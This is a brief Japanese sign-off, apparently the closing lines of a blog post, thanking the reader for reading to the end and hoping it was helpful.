今回は以上です。 最後まで読んでいただき、ありがとうございました。 参考になれば幸いです。